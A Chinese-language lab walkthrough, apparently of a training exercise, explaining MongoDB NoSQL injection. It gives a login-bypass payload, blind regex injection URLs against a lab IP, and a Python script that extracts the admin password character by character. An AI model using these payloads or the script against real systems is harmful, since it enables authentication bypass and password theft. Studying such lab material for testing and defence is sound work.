即使MongoDB是一个NoSQL数据库,它仍然可以编写易受攻击的代码,因此这个练习有两个NoSQL注入。
如果您想自己尝试,请尝试按照以下步骤操作:
- 了解并了解MongoDB语法的外观(查找项目的网站并阅读文档)。
- 找到注入点后可用于删除代码的内容(注释,空字节)。
- 了解如何生成始终真实的条件(例如1)。
- 了解如何检索信息(例如2)。
MongoDB 与几乎支持相同语法的SQL数据库相反,NoSQL数据库具有不同的语法。
Example 1
这个例子是(in)著名的' or 1=1 --的MongoDB版本。 如果你还记得你之前看过的内容,你知道你需要两件事来绕过这个登录:
- 一个永远真实的条件。
- 一种正确终止NoSQL查询的方法。
首先,通过阅读MongoDB文档,您可以发现SQL or 1=1转换为|| 1==1(注意双=)。 然后通过四处搜索,您可以看到NULL BYTE将阻止MongoDB使用其余查询。 您还可以使用注释//或<!--来注释掉查询的结尾。
有了这些信息,您应该可以绕过身份验证表单。
我们可以这样实现MongoDB 注入:
在登录时,如果是mysql这种关系型的数据库,我们可以构造真值等式来绕过。如 or 1=1。 在nosql中同样可以,nosql中的 || 1==1 相当于在sql中的 or 1=1 。 那么我们可以这样绕过:username=fujieace' || 1==1 //。
Example 2
在此示例中,我们将尝试从NoSQL数据库中检索更多信息。
使用一些猜测工作(或以前的应用程序知识),我们可以推断出可能存在密码字段。
我们可以这样玩,以确认猜测:
- 如果我们访问 http://192.168.40.131/mongodb/example2/?search=admin'%20%26%26%20this.password.match(/./)//+%00:我们可以看到一个结果。
- 如果我们访问 http://192.168.40.131/mongodb/example2/?search=admin'%20%26%26%20this.password.match(/zzzzz/)//+%00:我们看不到结果。
- 如果我们访问 http://192.168.40.131/mongodb/example2/?search=admin'%20%26%26%20this.passwordzz.match(/.*/)//+%00:我们收到错误消息(因为字段passwordzz不存在)。
现在,我们有一种方法可以执行盲注,因为我们有两种状态:
- 正则表达式与某些内容不匹配时没有结果:false 状态。
- 正则表达式匹配时的一个结果:true状态。
利用这些知识,我们可以编写利用脚本来猜测admin密码。 我们将首先使用:^和$确保匹配正确完成,以确保我们不匹配字符串中间的字符(否则迭代将更加困难)。
算法看起来像:
测试密码是否匹配 /^a.$/ 如果匹配test而没有通配符`.`。 如果不匹配则转到下一个字母。
测试密码是否匹配/^b.$/如果它匹配没有通配符`.`的测试。 如果不匹配则转到下一个字母。
例如,如果密码是aab,将执行以下测试:
/^a.*$/将返回true。
/^a$/将返回false。
/^aa.*$/将返回true。
/^aa$/将返回false。
/^aaa.*$/将返回false。
/^aab.*$/将返回true。
/^aab$/将返回true。 密码已被找到。
通过这些详细信息,您应该能够检索用户admin的密码。
如果某些记录的密码字段不存在(因为它是NoSQL数据库),通过使用... && this.password && this.password.match(... 确保其存在总是一个好主意。而不是仅仅是使用... && this.password.match(...
我们可以这样来MongoDB 注入:
根据一点猜测(或者对应用的了解),想必这里还有一个password字段。可以这样来猜测:
url: http://192.168.40.131/mongodb/example2/?search=admin’ && this.password.match(/./)//+%00
其中最后的// 类似于sql中的注释作用。而%00 空字符也可以阻止后边的执行。 还可以加上正则中的 ^ $ 分别限定。 如果成功,则返回结果,如果false,则无结果返回。
Python脚本如下:
def nosql2():
strs = string.lowercase + string.uppercase + string.digits
url = "http://192.168.40.131/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^{}$/)//+%00"
password = ""
while True:
for char in strs:
tmp = password + char
html = requests.get(url.format(tmp + ".*"))
if "admin" in html.text:
password += char
print "[-] find a char:{}".format(password)
break
html = requests.get(url.format(password))
if "admin" in html.text:
print "[+] Done! password:{}".format(password)
break